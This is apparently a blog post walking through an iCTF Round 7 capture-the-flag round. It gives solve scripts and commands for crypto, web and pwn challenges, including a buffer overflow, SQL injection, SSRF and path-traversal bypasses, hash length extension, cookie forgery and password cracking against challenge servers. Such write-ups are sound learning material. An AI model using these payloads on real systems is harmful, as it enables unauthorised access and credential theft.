Skip to main content

iCTF Round 7 Writeup

31 min read
ctf ictf writeup

iCTF is a month-long competition where daily challenges are posted to Discord. Challenges are usually beginner-focused, and with new challenges in the morning (for me), I’ve found it to be a good warm-up to start off the day.

In general I found this round to be about on par, but maybe a bit easier than the prior round. Challenges which I found particularly fun this round were It’s not RSA, I swear!, pyjail1, and Greatest Common Flag (which I definitely initially overthought)! A big thank you to all the challenge authors and board members for organizing this round.

If you are interested in joining, you can do so at

sanity check round 7

Welcome to Round 7! DM flags to me to get points, and rise up on the leaderboard! Have fun and enjoy Round 7!

Here’s your flag: ictf{Round_7_Sanity_Check}

Flag in description.


Look at our website! Can you inspect it?

Flag is in HTML.


Have a look at this message I found in an old chest. I also found its key. key = [24, 28, 110, 126, 145, 200, 209, 222, 231, 332, 447, 460, 472, 476, 480, 569, 591, 629, 633, 650, 671, 695, 696, 699, 706, 833]. Can you decrypt it? Don’t forget to put the ictf{} wrapper around before submitting the flag.

From the challenge name we can deduce that this is a Null cipher. We want to use the key to index from the attached text, combining these will give us the flag.

key = [24, 28, 110, 126, 145, 200, 209, 222, 231, 332, 447, 460, 472, 476, 480, 569, 591, 629, 633, 650, 671, 695, 696, 699, 706, 833]

with open("Corrosion.txt") as f:
    s =
    print(f"ictf{{{''.join(s[k - 1] for k in key)}}}")

We get

where is the SUGAR…

I seem to have Lost my sugaR… can yoU find the differenCe?

(I really want to make a short cake )

Similar to last round’s Web comments challenge, this server sends you through several redirects until eventually you are redirected to a Rick roll.

Looking at the requests using curl -Lv we see that a session cookie is set off the bat, and eventually a cookie named sugar is set with a value of “False”.

Trying again with curl -Lv -b sugar=True gets us the flag.

A Stegosaurus?!

What a cool picture of a dinosaur :)

A Stegosaurus?! Challenge Input
A Stegosaurus?! Challenge Input

Run strings steg.jpg | grep ictf on the image.

Basics of Pwn v1.2

Find the secret, find the message, it is as easy as that. Anyway, welcome to Basics of PWN Revised! NOTE: This challenge is created to help people learn how PWN works, it may be similar.

This is very similar to Basics of PWN from last round, except we are given source here. Need to overflow the 12-byte stack buffer and set the value of x to a specific value. Wrote a quick pwntools script to do this:

import re

from pwn import *
from pwnlib import gdb
from pwnlib.util.packing import *

p = remote("", 3000)
p.sendline(b"A" * 12 + p32(0x66746369))

s = p.recvall().decode("utf-8")
m = re.match(r"(?P<flag>ictf\{[^\}]*\})", s)

We get:


My friend Toby said this website had the most difficult protection in the world! Apparently, something is hidden! Could you help me break in?

Looking at the linked page, there is a form with a commented out password input. Assume we have to make a POST request with both username and password set. Title of the challenge is a hint as to the required credentials: curl -X POST -d username=admin -d password=password

We get:


Nucleotides are the subunits which make up the DNA. The 4 kinds of nucleotides in the DNA are distinguished by their nitrogen heterocycle substituents: adenine(A), cytosine(C), guanine(G), and thymine(T).

In a parallel universe, the DNA is composed of 8 kinds of nucleotides instead of 4: A, C, G, K, M, R, T, and U. Find out how many unique strands of length 8 (may contain repeated nucleotides) are possible in this universe. Also, find the 250th strand (counting starts from 1) in this set, after this set is sorted alphabetically.

Wrote a quick Python script using itertools to solve this:

from itertools import islice, product

s = next(islice(product("ACGKMRTU", repeat=8), 249, 250))

Apparently some people solved the second portion by converting 249 to octal and mapping the digits to nucleotide letters, pretty smart but not the first thing I thought of!

Anyway, we get:

AppleBot 2.0

Welcome to AppleBot 2.0! C Edition! We fixed that nasty bug from last time, and migrated to a cleaner interface. Enjoy the apples!

Looking at the source code, this program maintains a int apples variable and allows you to manipulate it via the various menu options. We can either increment the variable by one or decrement it by an arbitrary amount, and have 50 operations to achieve 1000000000 apples from a starting value of 5. There is a signed integer underflow bug here, where we can decrement by a large number of apples and underflow the variable to achieve INT_MAX apples, unlocking the flag.

Quick pwntools script:

from pwn import *

p = remote("", 10042)

p.recvuntil(b"> ")
p.sendline(str(2 ** 31 + 6))

p.recvuntil(b"> ")

We get:


I managed to get my hands on some shadowy stuff. Can you crack the password? Rockyou might help.

Flag is ictf{PasswordYouGet}

Inside the zip is a passwd and shadow file, and we are given the hint to use rockyou as a wordlist.

Crack with hashcat -m 1800 -a 0 shadow rockyou.txt

Zyphen wants to munch on his favorite Oatmeal Raisin Cookies, but he is experiencing weird bugs on the confectionery website. Order some cookies for him please.

(I’d like to remind you once again that you don’t have to use any kind of dirbuster for this challenge)

Checked out the linked website, seems like there’s a “place order” form with various types of cookies. It also appears that any cookie you order is mapped to a chocolate chip cookie. Looking at the page’s cookies, there is is one for the flavor and one for the user. Based on the description, set flavor to “OatmealRaisin” and user to “Zyphen”.

This reveals the flag:

W3b s0urc3ry

My friend said he was a wizard in the web, and if I solved his puzzle I could win a big prize! Could you help me solve it?

We see an… interesting website, with a large picture on the home page of Ruth Wakefield (inventor of the Toll House cookie). Navigating to the adminLogin page, we see login form. Examining the source, we see a note <!-- Dev note: make secure/data.sqlite private in production-->. Downloading and examining it, we can see a set of usernames and passwords in a table called needed_data. Logging in with Ruth:Wakefield displays the message “You were logged in(kind of).”

Examining the new login page, we see another dev note: <!--Dev note: make secure/cookies.sqlite private in production-->. Downloading and examining it, we can see three tables: cookies, rick, and suspicious. Looking at suspicious first, we see a key/value pair original-cookie:wxEhjSElDqEdDgcNzpcszROcAvrMpHsGa0PscVs=. Setting this cookie and logging in again, we are presented with the flag.


Could you help me find the epic flag for this fine challenge?

Note: please put the fine flag wrapper around your answer.

Adapt solution from Javavava from last round:

public class solve {
    public static char[] encode(String flag) {
        char[] flagVars = new char[flag.length()];
        char[] xorVars = new char[flag.length()];

        // Put epic flag in epic array with epic values and perform epic
        // operation with epic values
        for (int i = 0; i < flag.length(); i++) {
            flagVars[i] = flag.charAt(i);
            xorVars[i] = (char)(flagVars[i] ^
                                (flagVars[i] ^
                                 (flagVars[i] ^ (flagVars[i] ^ flagVars[i]))));

        // Declare more epic variables
        int intint = 673;
        int intin = 547;
        String variable_name = "";

        // Perform epic operation with epic values ~~with epic fallback~~
        for (int i = 0; i < xorVars.length; i++) {
            if (xorVars[i] != ' ') {
                variable_name +=
                    (char)((((intint * (xorVars[i] - 'a')) + intin) % 26) +
            } else {
                variable_name += xorVars[i];

        // Put epic array values in another epic array with epic values
        char[] xorEVars = new char[variable_name.length()];
        for (int i = 0; i < variable_name.length(); i++) {
            xorEVars[i] = (variable_name.charAt(i));

        // Put epic array values in same epic array with epic values
        for (int i = 0; i < xorVars.length; i++) {
            while ((5 * -1) * i * (-1 / 5) == 5) {
                xorEVars[i] = (char)(xorVars[i] - (xorVars[i]));
                xorEVars[i] = (char)(xorVars[i] + (xorVars[i]));
                xorEVars[i] = (char)(xorVars[i] - (xorVars[i]));

        return xorEVars;

    public static void main(String[] args) {
        char[] expected = "dlouhudxpwgppidvmubjz".toCharArray();
        char[] input = new char[expected.length];

        for (int i = 0; i < expected.length; i++) {
            for (char c = 32; c < 127; c++) {
                input[i] = c;
                char[] actual = encode(new String(input));

                if (actual[i] == expected[i]) {

        System.out.println(new String(input));

We get:


I need to read the encrypted flag flag.enc but I am not a very technical person. Help me out please.

Examining our files, we have a RSA private key encrypted with DES-EDE3-CBC, and an encrypted flag file. We will need to crack the password for the key, we can use John the ripper to do this.

We can convert private.pem to a format john can ingest with python private.pem > private.hash. After this, we can crack the password with john --wordlist=rockyou.txt private.hash. After a short wait we get a password of sherlock.

Finally, let’s use OpenSSL to decrypt our file with openssl rsautl -decrypt -in flag.enc -inkey private.pem

We get:

I think I XORed my head off…

We can see that the challenge input is a XOR-encoded PNG image. As we know the contents of the PNG header, we can recover the key by XOR-ing the expected plaintext with the ciphertext.

import itertools

with open("enc.png", "rb") as f:
    ct =

pt = b"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
key = "".join(chr(c ^ ord(p)) for c, p in zip(ct, pt))[:11]
m = bytes(c ^ ord(p) for c, p in zip(ct, itertools.cycle(key)))

with open("out.png", "wb") as f:

We get a key of “justimagine”. XOR-ing the ciphertext with the key gives us the correct output image.

head Challenge Output
head Challenge Output


Joe was learning about lists, but I don’t understand what he did! Could you help me?

Inside the zip file we have a script and a (large) text file containing the output. First part of problem is to parse the output, we (ab)use Python’s JSON parser to do this.

Looking at the script, we note that we only really care about the first element of this large list, so let’s grab that and throw the rest away. Each element of the list consists of a “character” (actually a string of 3 characters) and an index. Sorting by index, we get:

['tic', 'pf{', 'hyt', 's0n', 'lk1', '}lz']

This already kind of looks like a flag, and judging from the minus function in the script the strings are permuted. Let’s reassemble them in the proper order. Our final script looks like:

import json

with open("out") as f:
    s ="'", "\"")
    places = json.loads(s)[0]

lists = sorted(places, key=lambda d: d["index"])
flag = "".join(d["character"][i] for d in lists for i in [1, 2, 0])


We get:

Client Side 1

Made my first client side website! My flag should be safe here right?

Cleaning up the Javascript on this page, we see:

var _0x149e = [
var _0x2acb = function (_0x90b83a, _0x148c4a) {
  _0x90b83a = _0x90b83a - 0x17b;
  var _0x149e3c = _0x149e[_0x90b83a];
  return _0x149e3c;
(function (_0x390b78, _0x57629d) {
  var _0x312418 = _0x2acb;
  while (!![]) {
    try {
      var _0x45d933 =
        parseInt(_0x312418(0x17c)) +
        -parseInt(_0x312418(0x180)) * parseInt(_0x312418(0x186)) +
        parseInt(_0x312418(0x17f)) +
        parseInt(_0x312418(0x17b)) * parseInt(_0x312418(0x182)) +
        parseInt(_0x312418(0x184)) +
        -parseInt(_0x312418(0x17d)) +
        parseInt(_0x312418(0x17e)) * -parseInt(_0x312418(0x181));
      if (_0x45d933 === _0x57629d) break;
      else _0x390b78["push"](_0x390b78["shift"]());
    } catch (_0xa1af7e) {
})(_0x149e, 0xab62e);
function check(_0xccae0b) {
  var _0x2605b6 = _0x2acb;
  _0xccae0b == _0x2605b6(0x183) &&

Looking at the check function, tried out atob(atob(atob(atob(atob(_0x2acb(0x185)))))) in the console (although I guess trying youwillnevereverguessthispasswordbecauseitstoolonglolXD in the text box would have worked too ).

We get:


Zyphen is craving some dark chocolate, but the vendor’s website is buggy again. Order some dark chocolate please. (I’d like to remind you once again that you don’t have to use any kind of dirbuster for this challenge)

Similar to cookie-sale, place an order for chocolates and then check cookies.

We see admin=False, chocolate=white, and hmac=0a019157c31445c9fdba88452dd59f8827ec58520ae7b49c97ae406dfc172bc0839dcda997e52e5f45cb88a658e1f03148cdcefcd27bfa3c1600a9d12b4df11b

Trying with the cookies admin=True and chocolate=dark, we see a message:

@admin#7241 pls implement hmac, set secret key to PotatoGLaDOS.

Are you sure you want White Chocolate labelled as Dark? I doubt the authenticity of your order

hmac cookie is 512 bits long, so let’s assume they are using HMAC-SHA512.

Using the Python hmac module, we get:

>>> import hmac
>>> hmac.digest(b"PotatoGLaDOS", b"white", "sha512").hex()
>>> hmac.digest(b"PotatoGLaDOS", b"dark", "sha512").hex()

Setting the hmac cookie to the proper value, we get:

Youtube OSINT

A classic youtube OSINT challenge.

Went to the Imaginary CTF Youtube Channel, poked around a bit and found Et3rnos’ channel under “Featured Channels”. There are two videos published, the first one from 3 days ago has a comment from Imaginary CTF “MF9icnJycnJycnJ9”. Base64 decoded, this string becomes 0_brrrrrrrr}, which looks like the second portion of the flag. Poked around some more and opened the transcript for this video, here we find the first portion of the flag, ictf{subt1tl3s_g.

RSA Decryption

Normally, in a CTF challenge, you are given n and have to find p and q. Well, I’ve already factored n for you - what now? (Thanks to puzzler7 for this challenge!)

We notice that we are given values for n, p, q, d, e, and m. As we are given m, lets try encrypting it (c = m^e mod n).

from Crypto.Util.number import long_to_bytes

n = 123866076296518994316177296478401057712619155986200878799260448000669843742215227147742612238448786236537913842690449015629955372080450951285004618721197161153509895788558696454499259251716789706937392724214421501943502930012644776183903844650127938010978184494249206432961928770464951936577074082800337386673
e = 65537
m = 59608029134280521090530076650233022208585433513083249823903250368964980675769965381391962238262367887225477224953265451074398410499344587738342500806385379151320373742405142456066966027021177125457506467726430630196459340946541486778076530380330532284439882241478556294444494267069124934688943051219928225431

print(long_to_bytes(pow(m, e, n)))

We get:

Pathological Liars

If at once you don’t solve a challenge, ask your parents to solve for you :D (Thanks to RobinJadoul for this problem)

Navigating to the link in the description, we are presented with the (highlighted) source of the running Flask server.

import flask
import pygments, pygments.lexers, pygments.formatters, pygments.lexers, nord_pygments
import requests
import os

app = flask.Flask(__name__)

def get_content(fname):
    if os.path.isfile(fname):
        with open(fname) as f:
    elif os.path.isdir(fname):
        return "\n".join(f"- {x}" for x in os.listdir(fname))
        return "Nothing seems to be here?"

def serve():
    filename = flask.request.args.get("highlight", __file__)
    content = get_content(filename)
        lexer = pygments.lexers.get_lexer_for_filename(filename)
        lexer = pygments.lexers.special.TextLexer()
    nord_pygments.Nord.background_color = "#2e3440"
    return pygments.highlight(content, lexer, pygments.formatters.HtmlFormatter(full=True, style=nord_pygments.Nord))

if __name__ == "__main__":"", 5000)

There is a function called get_content which accepts a filename as a query string parameter and displays its highlighted contents. This seems to be vulnerable to a path traversal bug (as made clear by the description as well).

Navigating to gets us the flag:

Simple Servers Real Fun

Check out my new Redirect as a Service website! (Thanks to RobinJadoul for this challenge :D)

Navigating to the link in the description, we are (again) presented with the source of the running Flask server.

import flask
import pygments, pygments.lexers, pygments.formatters, nord_pygments
import requests, ipaddress

app = flask.Flask(__name__)

def serve():
    with open(__file__) as f:
        content =
        lexer = pygments.lexers.get_lexer_for_filename(__file__)
        lexer = pygments.lexers.special.TextLexer()
    nord_pygments.Nord.background_color = "#2e3440"
    return pygments.highlight(content, lexer, pygments.formatters.HtmlFormatter(full=True, style=nord_pygments.Nord))

def hit_it():
    target = flask.request.args.get("it")
    if not target:
        return "Aww?"
    if any(x in target for x in ["127", "local", "flag"]):
        return "Nah, bruv"
    return requests.get(target).text

def flag():
    if ipaddress.ip_address(flask.request.remote_addr).is_loopback:
        return open("flag.txt").read()
        return flask.redirect("")

if __name__ == "__main__":"", 5000)

Based on the code and on the challenge title, we need to exploit a SSRF vulnerability to get the flag. This is made slightly challenging by the filtering done in /hit_it, meaning we can’t have any of ["127", "local", "flag"] in our target URL. Let’s use one of the public domains pointing to localhost to bypass the first two restrictions, and URL encoding to bypass the “flag” filter.

curl gives us:

It’s not RSA, I swear!

I spiced up my not-RSA with randomness! They told me it’s secure, so you won’t be able to retrieve my super duper secret message… Right? (Thanks to A~Z (Aztro) for this challenge!)

Inside the zip we see a Python script for encrypting the flag, plus the output inside a text file. There are three functions defined:

  1. perhaps_rsa_keygen, which generates N, E, and D according to the usual RSA meaning using 1024-bit primes
  2. you_thought_it_was_rsa_encryption_but_it_was_me_dio, which is the meat of this challenge
  3. not_rsa_main, which encrypts the flag and writes the output file

Looking at you_thought_it_was_rsa_encryption_but_it_was_me_dio, we see that it generates some random parameters for a LCG and uses these with some modular arithmetic to encrypt the flag one hex-nibble at a time. Our first step is to recover the states of the LCG (the nonce variable in the function). Here, we can use our knowledge of the flag format to assume that the first four characters of the flag are “ictf”. We can use this known plaintext to reverse the multiplication step inside the loop, and retrieve the first 8 nonce values.

In other words, given paramters n and e, an encrypted value from the output c and a known plaintext nibble d, the state of the LCG at that step is:

   c = ((e^d mod n) * (s^-1 mod n)) mod n
=> s = c * ((e^d mod n)^-1 mod n)^-1 mod n

(See the crack_nonce function in the final script)

Next, we need to use our knowledge of the state to recover the parameters m, a, and b. There is a great writeup on how to do this at, which helpfully provided some Python code.

The last step is to decrypt the ciphertext. We know the value of d at each step is 0-15, as the characters of the flag are encrypted one nibble at a time. This prevents us from having to know D from the RSA keygen stage, which was not provided. Instead, we can just try each possible value for every nibble and advance to the next ciphertext value / update the nonce when we see a match.

Putting this all together, we get this script:

from functools import reduce
from math import gcd

with open("out.txt", "r") as f:
    n = int(f.readline()[3:])
    e = int(f.readline()[3:])
    _ = f.readline()
    _ = f.readline()
    ct = [int(x) for x in f.readline()[1:-1].split(", ")]

known_pt = b"ictf".hex()

def crack_nonce(d, c):
    return pow(c * pow(pow(e, int(d, 16), n), -1, n), -1, n)

states = [crack_nonce(p, c) for p, c in zip(known_pt, ct)]

# From
def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0] * multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (
        (states[2] - states[1]) * pow(states[1] - states[0], -1, modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)

m, a, b = crack_unknown_modulus(states)

def decrypt(s0, m, a, b, ct):
    s = ""
    nonce = s0
    for c in ct:
        for d in range(16):
            x = pow(e, d, n) * pow(nonce, -1, n) % n
            if x == c:
                s += hex(d)[2:]

        nonce = (a * nonce + b) % m

    return bytes.fromhex(s).decode("utf-8")

print(decrypt(states[0], m, a, b, ct))

We get:

System Hardening 4

(I dropped the 10- prefix, was getting kinda weird) Challenge information is on the website.

Extraction password is one_ring_4f6ab232

This challenge involves downloading a virtual machine image and performing hardening steps to satisfy a scoring script. The scenario indicates that the machine contains a vulnerable version of sudo, a backdoored command, and potentially an untrustworthy user participating in unspecified underhanded activities .

The challenge author has requested that we only discuss the forensics questions here, so the writeup will be limited to these.

Forensics Question 1

A recent zeroday in sudo, nicknamed “Baron Samedit,” allows for privelege escelation from any user account.

What is the CVE number of this vulnerability?

Forensics Question 2

Hashes are used in computers to verify integrity, as well as to check passwords.

What is the MD5 hash of the file /bin/bash?

md5sum /bin/bash gives

Forensics Question 3

There is a hidden user on this system. What is the user ID of this user?

Examining /etc/passwd, we see user with user ID 169. As this is below 1000, this account is considered a system user and not displayed in the login prompt.

Forensics Question 4

An user has been playing an unauthorized game on this workstation.

What secret message has the user left inside the game?

(P. S. I kinda got addicted to the game, so it’s fine to leave it here)

From conversations on the Discord, I knew this game was Minetest. Searched for users who had a .minetest directory in their home directory, saw that user bilbo has been playing this. Loaded up his save file, and we get .

General approach to hardening

Same as in last round, but saw some links to CyberPatriot training slides and some automated hardening scripts which made this easier.

Keys to the SEA

could you help me find the hidden key to the sea?

Examining the provided script, we see some code to encrypt the flag with AES, and the key, iv, and resulting ciphertext dumped as JSON in a comment representing the output.

First thing we note is a bunch of zero-width space characters following “REDACTED” as the key. Took a guess and assumed this was the same scheme as in whoami, plugging this in to gives us a key of 7154534113143173.

Let’s write a script to decrypt the ciphertext with this key:

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

# Use to decode key
key = b'7154534113143173'
iv = long_to_bytes(305391053562888545371714674049318800655)
ct = long_to_bytes(28048967036896554615791698028016955617934752356413153805804958928455841229159)
cipher =, AES.MODE_CBC, iv=iv)

We get:

Greatest Common Flag

Can you find the Greatest Common Flag?

nc 5000

This awesome chall was created by drdoctor#8478

Connecting to the service, we see the following prompt:

Welcome to Not GCD Guesser
If you guess my number N, I will give you the flag!

1) Get information (3 tries left)
2) Guess number
Enter choice:

The goal here is to figure out N from the given information. Choosing option one, the program prompts us for two integers A and B, and then computes GCD(A+N, B) for us. If we select A = 0 and B = 0, we can get it to compute GCD(N, 0) = N for us!

Entering the result into option two, we get:


I want some Honey-Pistachio flavored icecream but the vendor’s website always gets my order wrong. Is there some way to get my order correct?

(I’d like to remind you once again that use of any kind of dirbuster for this challenge is not needed and not allowed)

Similar to the last few “sale” challenges, attempting to order a Honey Pistachio ice cream here orders the wrong flavor, and sets some relevant cookies. Specifically, we see admin, order, and signature cookies. Setting admin to “True” gives us a link to this pastebin showing the signature verification code being used. We see the signature is created by concatenating a secret plus the base-16 encoded order and calculating the SHA512 hash of the result. It is clear from this scheme (as well as the text about backdoors in HMAC) that we are meant to exploit a hash length extension attack to set the flavor.

Used Hashpumpy to automate this:

import base64
import re
import requests
import hashpumpy

URL = ""
ORIG_SIG = "805cff0016a48bac055a3b1460eead8356082de12292a0af23a1d9da2db80facfc39181b48883f6dfa55701bb58b417c0e99cdec9b63de8d4e9485214c64bc15"
ORIG_DATA = base64.b16decode("636F6D6D6F646974793D696365637265616D7C666C61766F723D43686F636F6C6174652D416C6D6F6E64")

for i in range(1, 32):
    sig, data = hashpumpy.hashpump(ORIG_SIG, ORIG_DATA, "|flavor=Honey-Pistachio", i)
    r = requests.get(
            "admin": "True",
            "order": base64.b16encode(data).decode("utf-8"),
            "signature": sig,

    m ="ictf{.*}", r.text)
    if m:

We get:

My Login Combiner

My friend said this website had filters so strong it was impossible to log into! Can you help me prove him wrong?

Note: please do not use any enumeration tools

This site hosts a login form which is vulnerable to SQL injection. There appears to be some filtering on the username field, but the password field is not hashed and appears to be unfiltered.

Running curl -X POST -d "username=" -d "password=' or 1=1;--", we get:

Bonus: Beta Challenges

I was able to receive beta tester access to the new Discord bot, which also gave me access to a few additional challenges for the round.

Beta Sanity Check

Welcome to ImaginaryCTF Beta Test! Submit the flag in attachments to get started. To do that, message me the flag using b.flag command.


Flag in description.

Júlio César

Normal Caesar cipher, but I shifted it 1000 times >:)


Plug into quipqiup with hints for the initial known prefix “ictf”.

Challenge Hunt

I hosted today’s challenge under but I can’t remember the link…

Note: Wrap whatever you get with ictf

Use Sublist3r to enumerate subdomains with sublist3r -d


eth007@imaginaryctf$ sudo su

[sudo] Password for eth007:

root@imaginaryctf# guess


root@imaginaryctf# guess —harder


root@imaginaryctf# guess —even-harder


root@imaginaryctf# su offdev

offdev@imaginaryctf$ guess —find-the-flag


offdev@imaginaryctf$ exit

root@imaginaryctf# exit


Examined the given text / attachment in a browser. There are several “invisible” zero-width unicode characters embedded in the html, not rendered above so reproduced in HTML entity form below:

<br />
  eth007@imaginaryctf$ sudo su &#xD;&#xA;[sudo] Password for
  guess &#xD;&#xA;ictf{th1s_1s_n0t_th3_fl4g} &#xD;&#xA;root@imaginaryctf# guess
  --harder &#xD;&#xA;ictf{th1s_1s_only_l0w_p0ints_cuz_its_guessy}
  &#xD;&#xA;root@imaginaryctf# guess --even-harder
  &#xD;&#xA;root@imaginaryctf# su offdev &#xD;&#xA;offdev@imaginaryctf$ guess
  --find-the-flag &#xD;&#xA;ictf{th3_fl4g_1s_b3l0w}
  &#xD;&#xA;offdev@imaginaryctf$ exit &#xD;&#xA;root@imaginaryctf# exit
<br />

“offdev” in the description is a hint, found an online steganography tool which decodes this scheme. Copy-pasted in message text and got:

Juni0r Dashboard

The flag is in ET3RNOS{.+} format.

Do NOT use brute force on this website.

Inspecting page source, we see the following note:

<!--Hey there! I am Et3rnos Juni0r.
I wanted to build my own super secret dashboard but I forgot to add my password hash
to the files and I only realized that after uploading them to the server.
Can you give me access to my dashboard? Or do you think this is too much hard for you to hack?
PS: I hope Google won't index this page...-->

Using this hint, lets examine robots.txt. We see that this disallows crawlers from accessing the /_LOGS_ directory. Examining /_LOGS_, we find a file at containing:

[DEBUG] ("811963dc2126f18c1818fb07e996f7b1" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("3f1bfc38e02bb92221ee3ca37640a042" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d92e68c2834415c1e744f69f0a2cfb93" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("007cb622a2f1fc7cbcd72f40eaa63058" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("544d19f16daa5e921d2919d7e96b2528" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("bcf97353375789138fae6e8619c66a31" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("12b36679622c5aa3002a4b7bc24e3ab1" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("30a66919c5e23c6d968519290b320f3f" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("7867ffb12bee19a2c4f00a00eede4f12" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f939e043abf271eb4ad2eee78c5bea83" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("6a25cb3d71c6b7d4a052eff5ec19c3f8" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("dc7d46e234bb68b75b40729a76119155" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("375c9676b68f3dd61adae1fb0ef18c30" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4497a4f897fbcac1a96f9bdcdb9da14d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f32dca801220d00ed3583fbfc3391119" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("27a35c8e55c3c5e93c4b6ba3edf6e809" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("b894600411309c0af13c5dcc18967942" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d9f2ad7dde939ba6f8170a672223bdc6" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("33a0caa4b284e01d8ecef0fe0db64815" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("1b3ab195a1fc140dbed973c9b0afbf4b" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9d45925899f9927ab8b25453eb914861" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("46a8e136af011348e42ed2ad73e852e6" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("80efe330af7b06b13f5bbd9261562636" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4093a2da75fa42636710634f63febf43" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("453dfa7817ff4690f36b81103802c21b" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("2496afc282c9b38cfe2548958f96412c" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("6a7765f73e5a30be3d4688836973c607" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("019d6a0657b51b41c5f18f804de08d32" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d259b45fecd6b96581323974683f151b" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e55081f304b2eff01ccd97d4c33dba10" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("5940e61cff9af530e32d49fd84ad142e" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("2c91e34c7b14993c3fc33901a456160d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f3ed2f888d0dfcc34e0d7405e672cc1d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("fcf0f70fed89f487c55ca1ee877a2657" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4b263aae9b50b105cbf87b86bc085125" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("b205f3eecbb529c754cc93ed62ed1c3f" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f6d339fbd803235ddda8b7a23d5d6e33" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("2661ab16223ce875301a5ca3c32df862" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("396f4b9afe764b688d01cfc9267c4020" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9ae6936d8af06891fbed2e0d33f15dda" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("91928360205ee5f1d5fd53b891914f97" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("5918964486b22c70044f84ea0e2ed428" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e258440c35d69df4363c3493c5281ba9" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("3bb20a64d236fd7ddb3f0683625c21bc" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("407c596ba262e425166d95e3ec5cb539" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9408d21bc34c9c3fed58139c23c9008d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("e44a4e0783de7cef3a087dc5a13cf624" == "00000000000000000000000000000000") returned false. Authentication failed.

From this log, we see checks of hashes against 0, let’s try another PHP “magic hash” from

Doing so gets us:


XOR is so secure!!!!!!!!!

Note: the ciphertext was base64 encoded after XOR encrypting.


We know that the plaintext is (most likely) in the format ictf{.+}, so we can use this to get the first 5 characters of the key by xor-ing with the ciphertext. From this, we find that the key should start with “imagi”. Write a script to iterate through words with this prefix, searching for a flag candidate:

import base64
import itertools
import string

pt = "ictf{"

prefix = "".join(chr(c ^ ord(p)) for c, p in zip(ct, pt))

words = []
with open("/usr/share/dict/words") as f:
    for line in f:
        line = line.lower().strip()
        if line.startswith(prefix):

alphabet = string.ascii_letters + string.digits + string.punctuation
for key in words:
    m = "".join(chr(c ^ ord(k)) for c, k in zip(ct, itertools.cycle(key)))
    if m[-1] == "}" and all(c in alphabet for c in m[5:-1]):

We get that the key is “imaginary” and that the flag is:


RSA is secure. I got huge primes.

n=107976370566754007356573222205875088638594990328557679028652819165400911164 54543806627552140043847166592539654603387759978024597334437963251125724411452 76090985493357117783159344384850750745620763308934871842218858075410210970555 21283023633454113061697504421624247039561548380114991995242501987403452670631 28043792093119061262860723168779311847757435748585331948019984575630959520477 42308149016603826376659188070388153914106460744521602563017596963241201048450 08937999617622607600407715963361698639871590001859863884736927529426416907782 78559514138060366028329194404923989012464287633011236187286545309259886957125 539



e=1 so c = m^e mod n => c = m if n > m.

Decoding c gets us:


What’s 1+1? Wrap your answer with ictf

Is your memory cached?

Port 22 is not exploitable. Please don’t attack it.

Also, please don’t modify or delete the flag in the server.


Maybe port 11XXX would be of your interest.

Let’s take the hint and try scanning the given IP with sudo nmap -sS -Pn -p 11000-11999

We get:

